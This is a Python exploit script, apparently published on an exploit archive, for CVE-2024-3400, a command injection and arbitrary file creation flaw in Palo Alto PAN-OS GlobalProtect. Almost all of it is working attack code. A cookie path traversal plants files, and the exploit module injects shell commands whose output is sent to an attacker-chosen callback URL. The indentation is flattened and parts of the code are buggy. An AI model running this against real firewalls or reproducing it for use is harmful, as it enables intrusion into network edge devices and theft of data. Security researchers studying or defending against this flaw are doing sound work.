Palo Alto PAN-OS Command Execution / Arbitrary File Creation

`# Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation  
# Date: 21 Apr 2024  
# Exploit Author: Kr0ff  
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400  
# Software Link: -  
# Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3   
# PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1  
# PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1  
# Tested on: Debian  
# CVE : CVE-2024-3400  
  
#!/usr/bin/env python3  
  
import sys  
  
try:  
import argparse  
import requests  
except ImportError:  
print("Missing dependencies, either requests or argparse not installed")  
sys.exit(2)  
  
# https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis   
# https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/  
  
def check_vuln(target: str, file: str) -> bool:  
ret = False  
  
uri = "/ssl-vpn/hipreport.esp"  
  
s = requests.Session()  
r = ""  
  
headers = {  
"User-Agent" : \  
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0  
"Content-Type": "application/x-www-form-urlencoded",  
"Cookie": \  
f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}"  
}   
  
headers_noCookie = {  
"User-Agent" : \  
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0  
}  
  
if not "http://" or not "https://" in target:  
target = "http://" + target   
try:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
except requests.exceptions.Timeout or requests.ConnectionError as e:  
print(f"Request timed out for \"HTTP\" !{e}")  
  
print("Trying with \"HTTPS\"...")  
  
target = "https://" + target  
try:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
except requests.exceptions.Timeout or requests.ConnectionError as e:  
print(f"Request timed out for \"HTTPS\"")  
sys.exit(1)  
else:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
  
if r.status_code == 200:  
r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 )  
if r.status_code == 403:  
print("Target vulnerable to CVE-2024-3400")  
ret = True  
else:  
return ret  
  
return ret  
  
  
  
def cmdexec(target: str, callback_url: str, payload: str) -> bool:  
ret = False  
p = ""  
  
if " " in payload:  
p = payload.replace(" ", "${IFS)")  
  
uri = "/ssl-vpn/hipreport.esp"  
  
headers = {  
"User-Agent" : \  
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0  
"Content-Type": "application/x-www-form-urlencoded",  
"Cookie": \  
f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`"  
  
}   
  
s = requests.Session()  
r = ""  
  
if not "http://" or not "https://" in target:  
target = "http://" + target   
try:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
except requests.exceptions.Timeout or requests.ConnectionError as e:  
print(f"Request timed out for \"HTTP\" !{e}")  
  
print("Trying with \"HTTPS\"...")  
  
target = "https://" + target  
try:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
except requests.exceptions.Timeout or requests.ConnectionError as e:  
print(f"Request timed out for \"HTTPS\"")  
sys.exit(1)  
else:  
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )  
  
if not "Success" in r.text:  
return ret  
  
else:  
ret = True  
  
return ret  
  
#Initilize parser for arguments  
def argparser(selection=None):  
parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' )  
  
subparser = parser.add_subparsers( help="Available modules", dest="module")  
  
exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script")  
exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True )  
exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True )  
exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True )  
#---------------------------------------  
check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" )  
check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True )  
check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True )  
  
args = parser.parse_args(selection)  
args = parser.parse_args(args=None if sys.argv[1:] else ["-h"])  
  
if args.module == "exploit":   
cmdexec(args.target, args.callbackurl, args.payload)  
  
if args.module == "check":  
check_vuln(args.target, args.filename)  
  
if __name__ == "__main__":  
argparser()  
print("Finished !")  
  
`